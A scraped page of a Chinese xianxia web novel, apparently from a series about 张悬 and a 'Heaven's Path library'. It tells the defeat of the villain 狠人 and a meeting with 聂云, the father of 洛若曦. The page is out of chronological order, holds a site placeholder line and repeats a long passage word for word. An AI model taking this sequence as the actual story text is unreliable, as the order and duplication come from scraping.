“他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第九十九章 天人之姿 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? 